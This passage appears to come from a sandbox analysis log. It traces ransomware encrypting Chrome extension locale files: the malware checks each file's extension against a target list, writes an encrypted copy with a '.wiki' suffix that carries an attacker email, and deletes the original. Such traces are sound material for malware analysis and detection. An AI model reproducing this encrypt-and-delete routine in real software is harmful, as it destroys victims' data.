dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.672] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=207) returned 1 [0175.672] CloseHandle (hObject=0x19c) returned 1 [0175.672] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json")) returned 0x2020 [0175.672] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.672] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.672] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.673] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.673] GetLastError () returned 0x0 [0175.673] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xcf, lpOverlapped=0x0) returned 1 [0175.674] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0175.675] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.675] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.675] SetEndOfFile (hFile=0x2dc) returned 1 [0175.675] CloseHandle (hObject=0x2dc) returned 1 [0175.675] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.675] SetEndOfFile (hFile=0x19c) returned 1 [0175.676] CloseHandle (hObject=0x19c) returned 1 [0175.676] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.676] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json")) returned 1 [0175.676] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json") returned 151 [0175.676] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json") returned 151 [0175.676] lstrlenW (lpString=".doc") returned 4 [0175.676] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.676] lstrlenW (lpString=".docx") returned 5 [0176.479] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.479] lstrlenW (lpString=".pdf") returned 4 [0176.479] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.479] lstrlenW (lpString=".xls") returned 4 [0176.479] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.479] lstrlenW (lpString=".xlsx") returned 5 [0176.479] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.479] lstrlenW (lpString=".ppt") returned 4 [0176.479] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json") returned 151 [0176.479] lstrlenW (lpString=".zip") returned 4 [0176.479] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.479] lstrlenW (lpString=".rar") returned 4 [0176.479] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.479] lstrlenW (lpString=".bz2") returned 4 [0176.479] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.479] lstrlenW (lpString=".7z") returned 3 [0176.479] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json") returned 151 [0176.479] lstrlenW (lpString=".dbf") returned 4 [0176.479] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json") returned 151 [0176.479] lstrlenW (lpString=".1cd") returned 4 [0176.479] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.480] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json") returned 151 [0176.480] lstrlenW (lpString=".jpg") returned 4 [0176.480] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.480] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json") returned 151 [0176.480] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json") returned 151 [0176.480] lstrlenW (lpString=".doc") returned 4 [0176.480] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.480] lstrlenW (lpString=".docx") returned 5 [0176.480] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.480] lstrlenW (lpString=".pdf") returned 4 [0176.480] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.480] lstrlenW (lpString=".xls") returned 4 [0176.480] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.480] lstrlenW (lpString=".xlsx") returned 5 [0176.480] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.480] lstrlenW (lpString=".ppt") returned 4 [0176.480] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.480] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json") returned 151 [0176.480] lstrlenW (lpString=".zip") returned 4 [0176.480] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.480] lstrlenW (lpString=".rar") returned 4 [0176.480] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.480] lstrlenW (lpString=".bz2") returned 4 [0176.480] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.480] lstrlenW (lpString=".7z") returned 3 [0176.480] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.481] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json") returned 151 [0176.481] lstrlenW (lpString=".dbf") returned 4 [0176.481] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.481] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json") returned 151 [0176.481] lstrlenW (lpString=".1cd") returned 4 [0176.481] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.481] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json") returned 151 [0176.481] lstrlenW (lpString=".jpg") returned 4 [0176.481] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.481] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.481] lstrlenW (lpString="messages.json") returned 13 [0176.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.482] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=178) returned 1 [0176.482] CloseHandle (hObject=0x19c) returned 1 [0176.482] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json")) returned 0x2020 [0176.482] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.482] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.482] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.482] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.482] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0176.483] GetLastError () returned 0x0 [0176.483] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xb2, lpOverlapped=0x0) returned 1 [0176.486] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xc0, lpOverlapped=0x0) returned 1 [0176.487] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.487] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.487] SetEndOfFile (hFile=0x2dc) returned 1 [0176.487] CloseHandle (hObject=0x2dc) returned 1 [0176.488] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.488] SetEndOfFile (hFile=0x19c) returned 1 [0176.488] CloseHandle (hObject=0x19c) returned 1 [0176.488] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.489] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json")) returned 1 [0176.489] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json") returned 154 [0176.489] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json") returned 154 [0176.489] lstrlenW (lpString=".doc") returned 4 [0176.489] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.489] lstrlenW (lpString=".docx") returned 5 [0176.489] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.489] lstrlenW (lpString=".pdf") returned 4 [0176.489] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.489] lstrlenW (lpString=".xls") returned 4 [0176.489] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.489] lstrlenW (lpString=".xlsx") returned 5 [0176.489] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.489] lstrlenW (lpString=".ppt") returned 4 [0176.489] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.489] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json") returned 154 [0176.489] lstrlenW (lpString=".zip") returned 4 [0176.489] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.489] lstrlenW (lpString=".rar") returned 4 [0176.489] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.489] lstrlenW (lpString=".bz2") returned 4 [0176.489] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.489] lstrlenW (lpString=".7z") returned 3 [0176.490] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.490] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json") returned 154 [0176.490] lstrlenW (lpString=".dbf") returned 4 [0176.490] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.490] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json") returned 154 [0176.490] lstrlenW (lpString=".1cd") returned 4 [0176.490] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.490] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json") returned 154 [0176.490] lstrlenW (lpString=".jpg") returned 4 [0176.490] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.490] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json") returned 154 [0176.490] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json") returned 154 [0176.490] lstrlenW (lpString=".doc") returned 4 [0176.490] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.490] lstrlenW (lpString=".docx") returned 5 [0176.490] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.490] lstrlenW (lpString=".pdf") returned 4 [0176.490] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.490] lstrlenW (lpString=".xls") returned 4 [0176.490] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.490] lstrlenW (lpString=".xlsx") returned 5 [0176.490] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.490] lstrlenW (lpString=".ppt") returned 4 [0176.490] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.490] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json") returned 154 [0176.490] lstrlenW (lpString=".zip") returned 4 [0176.491] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.491] lstrlenW (lpString=".rar") returned 4 [0176.491] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.491] lstrlenW (lpString=".bz2") returned 4 [0176.491] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.491] lstrlenW (lpString=".7z") returned 3 [0176.491] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.491] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json") returned 154 [0176.491] lstrlenW (lpString=".dbf") returned 4 [0176.491] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.491] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json") returned 154 [0176.491] lstrlenW (lpString=".1cd") returned 4 [0176.491] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.491] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json") returned 154 [0176.491] lstrlenW (lpString=".jpg") returned 4 [0176.491] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.491] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.491] lstrlenW (lpString="messages.json") returned 13 [0176.491] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.492] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=265) returned 1 [0176.492] CloseHandle (hObject=0x19c) returned 1 [0176.492] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json")) returned 0x2020 [0176.492] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.492] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.492] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.492] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.492] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0176.493] GetLastError () returned 0x0 [0176.493] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x109, lpOverlapped=0x0) returned 1 [0176.494] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x110, lpOverlapped=0x0) returned 1 [0176.495] ReadFile (in: hFile=0x19c, 